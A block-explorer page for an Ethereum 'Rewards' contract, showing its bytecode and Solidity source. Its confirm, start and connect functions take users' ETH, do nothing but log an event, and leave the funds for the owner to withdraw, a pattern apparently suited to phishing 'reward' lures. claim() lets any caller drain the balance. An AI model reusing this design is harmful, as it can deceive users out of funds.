Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x0332FE2c56E39186599b8267f7d10fEb12eD5b86
Balance 0 ETH
Nonce 1
Code Size 4255 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

4255 bytes
0x6080604052600436106100a9575f3560e01c8063948cb71911610063578063948cb7191461016e578063a3907d7114610178578063be9a65551461018e578063cbfc4bce14610198578063f2fde38b146101b4578063fc735e99146101dc576100b0565b8062f714ce146100b457806312065fe0146100dc578063238dafe0146101065780634e71d92d146101305780637022b58e1461013a5780638da5cb5b14610144576100b0565b366100b057005b5f5ffd5b3480156100bf575f5ffd5b506100da60048036038101906100d59190610af7565b610206565b005b3480156100e7575f5ffd5b506100f061040b565b6040516100fd9190610b44565b60405180910390f35b348015610111575f5ffd5b5061011a610412565b6040516101279190610b77565b60405180910390f35b610138610424565b005b6101426104b1565b005b34801561014f575f5ffd5b50610158610543565b6040516101659190610bb0565b60405180910390f35b61017661056a565b005b348015610183575f5ffd5b5061018c6105af565b005b61019661069a565b005b6101b260048036038101906101ad9190610bc9565b610721565b005b3480156101bf575f5ffd5b506101da60048036038101906101d59190610c1e565b61087d565b005b3480156101e7575f5ffd5b506101f0610a23565b6040516101fd9190610b77565b60405180910390f35b61020e610a5f565b73ffffffffffffffffffffffffffffffffffffffff1661022c610543565b73ffffffffffffffffffffffffffffffffffffffff1614610282576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161027990610ca3565b60405180910390fd5b5f82116102c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102bb90610d0b565b60405180910390fd5b47821115610307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102fe90610d73565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610375576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036c90610ddb565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc8390811502906040515f60405180830381858888f193505050501580156103b8573d5f5f3e3d5ffd5b508073ffffffffffffffffffffffffffffffffffffffff167f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65836040516103ff9190610b44565b60405180910390a25050565b5f47905090565b5f60149054906101000a900460ff1681565b5f4790505f811161046a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161046190610e43565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156104ad573d5f5f3e3d5ffd5b5050565b5f34116104f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ea90610eab565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167fbde73c39e691e6143456e01935275fd9f654dacca25911f03ab0d587644377eb346040516105399190610b44565b60405180910390a2565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff167fe0361c544601bbefba1777c59f9e8e7d6400aa0b4bd8e9f563cd32b3fd4690c860405160405180910390a2565b6105b7610a5f565b73ffffffffffffffffffffffffffffffffffffffff166105d5610543565b73ffffffffffffffffffffffffffffffffffffffff161461062b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062290610ca3565b60405180910390fd5b5f60149054906101000a900460ff16155f60146101000a81548160ff0219169083151502179055507f54ca1f89aee2b8d11c89b7813c6aa99caa0f8c55c8eccf8b70c3bb42029fa1345f60149054906101000a900460ff166040516106909190610b77565b60405180910390a1565b5f34116106dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d390610f13565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167f27029695aa5f602a4ee81f4c32dfa86e562f200a17966496f3a7c3f2ec0f941760405160405180910390a2565b5f3411610763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075a90610f7b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890610fe3565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc3490811502906040515f60405180830381858888f19350505050158015610814573d5f5f3e3d5ffd5b508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe46a273bc7bca41af71bef5dd724f565cb5ea17e14d33b3d36a093a2d1d35e40346040516108729190610b44565b60405180910390a350565b610885610a5f565b73ffffffffffffffffffffffffffffffffffffffff166108a3610543565b73ffffffffffffffffffffffffffffffffffffffff16146108f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f090610ca3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095e9061104b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f610a2c610543565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b5f33905090565b5f5ffd5b5f819050919050565b610a7c81610a6a565b8114610a86575f5ffd5b50565b5f81359050610a9781610a73565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ac682610a9d565b9050919050565b610ad681610abc565b8114610ae0575f5ffd5b50565b5f81359050610af181610acd565b92915050565b5f5f60408385031215610b0d57610b0c610a66565b5b5f610b1a85828601610a89565b9250506020610b2b85828601610ae3565b9150509250929050565b610b3e81610a6a565b82525050565b5f602082019050610b575f830184610b35565b92915050565b5f8115159050919050565b610b7181610b5d565b82525050565b5f602082019050610b8a5f830184610b68565b92915050565b5f610b9a82610a9d565b9050919050565b610baa81610b90565b82525050565b5f602082019050610bc35f830184610ba1565b92915050565b5f60208284031215610bde57610bdd610a66565b5b5f610beb84828501610ae3565b91505092915050565b610bfd81610b90565b8114610c07575f5ffd5b50565b5f81359050610c1881610bf4565b92915050565b5f60208284031215610c3357610c32610a66565b5b5f610c4084828501610c0a565b91505092915050565b5f82825260208201905092915050565b7f43616c6c6572206973206e6f7420746865206f776e65720000000000000000005f82015250565b5f610c8d601783610c49565b9150610c9882610c59565b602082019050919050565b5f6020820190508181035f830152610cba81610c81565b9050919050565b7f416d6f756e74203e2030000000000000000000000000000000000000000000005f82015250565b5f610cf5600a83610c49565b9150610d0082610cc1565b602082019050919050565b5f6020820190508181035f830152610d2281610ce9565b9050919050565b7f496e73756666696369656e742062616c616e63650000000000000000000000005f82015250565b5f610d5d601483610c49565b9150610d6882610d29565b602082019050919050565b5f6020820190508181035f830152610d8a81610d51565b9050919050565b7f5a65726f20726563697069656e740000000000000000000000000000000000005f82015250565b5f610dc5600e83610c49565b9150610dd082610d91565b602082019050919050565b5f6020820190508181035f830152610df281610db9565b9050919050565b7f4e6f2062616c616e636520746f20636c61696d000000000000000000000000005f82015250565b5f610e2d601383610c49565b9150610e3882610df9565b602082019050919050565b5f6020820190508181035f830152610e5a81610e21565b9050919050565b7f53656e642045544820746f20636f6e6669726d000000000000000000000000005f82015250565b5f610e95601383610c49565b9150610ea082610e61565b602082019050919050565b5f6020820190508181035f830152610ec281610e89565b9050919050565b7f4e6565642045544820746f2073746172740000000000000000000000000000005f82015250565b5f610efd601183610c49565b9150610f0882610ec9565b602082019050919050565b5f6020820190508181035f830152610f2a81610ef1565b9050919050565b7f53656e642045544820746f2067696674000000000000000000000000000000005f82015250565b5f610f65601083610c49565b9150610f7082610f31565b602082019050919050565b5f6020820190508181035f830152610f9281610f59565b9050919050565b7f496e76616c696420726563697069656e740000000000000000000000000000005f82015250565b5f610fcd601183610c49565b9150610fd882610f99565b602082019050919050565b5f6020820190508181035f830152610ffa81610fc1565b9050919050565b7f4e6577206f776e6572206973207a65726f2061646472657373000000000000005f82015250565b5f611035601983610c49565b915061104082611001565b602082019050919050565b5f6020820190508181035f83015261106281611029565b905091905056fea2646970667358221220d2d53dc25bf6983c5090903773bc426c6e86ff48a3ebeefcabab03913308925364736f6c634300081e0033

Verified Source Code Partial Match

Compiler: v0.8.30+commit.73712a01 EVM: prague Optimization: No
Rewards.sol 97 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "New owner is zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Rewards is Ownable {
    event Withdrawal(address indexed recipient, uint256 amount);
    event Confirm(address indexed user, uint256 value);
    event Connected(address indexed user);
    event Started(address indexed user);
    event Gifted(address indexed from, address indexed to, uint256 amount);
    event Enabled(bool status);

    bool public enabled = false;

    receive() external payable {}

    function withdraw(uint256 amount, address payable recipient) external onlyOwner {
        require(amount > 0, "Amount > 0");
        require(amount <= address(this).balance, "Insufficient balance");
        require(recipient != address(0), "Zero recipient");

        recipient.transfer(amount);
        emit Withdrawal(recipient, amount);
    }

    function claim() public payable {
        uint256 amount = address(this).balance;
        require(amount > 0, "No balance to claim");
        payable(msg.sender).transfer(amount);
    }

    function confirm() public payable {
        require(msg.value > 0, "Send ETH to confirm");
        emit Confirm(msg.sender, msg.value);
    }

    function verify() public view returns (bool) {
        return msg.sender == owner();
    }

    function connect() public payable {
        emit Connected(msg.sender);
    }

    function start() public payable {
        require(msg.value > 0, "Need ETH to start");
        emit Started(msg.sender);
    }

    function gift(address payable to) public payable {
        require(msg.value > 0, "Send ETH to gift");
        require(to != address(0), "Invalid recipient");
        to.transfer(msg.value);
        emit Gifted(msg.sender, to, msg.value);
    }

    function enable() public onlyOwner {
        enabled = !enabled;
        emit Enabled(enabled);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Read Contract

enabled 0x238dafe0 → bool
getBalance 0x12065fe0 → uint256
owner 0x8da5cb5b → address
verify 0xfc735e99 → bool

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

claim 0x4e71d92d
No parameters
confirm 0x7022b58e
No parameters
connect 0x948cb719
No parameters
enable 0xa3907d71
No parameters
gift 0xcbfc4bce
address to
start 0xbe9a6555
No parameters
transferOwnership 0xf2fde38b
address newOwner
withdraw 0x00f714ce
uint256 amount
address recipient

Recent Transactions

No transactions found for this address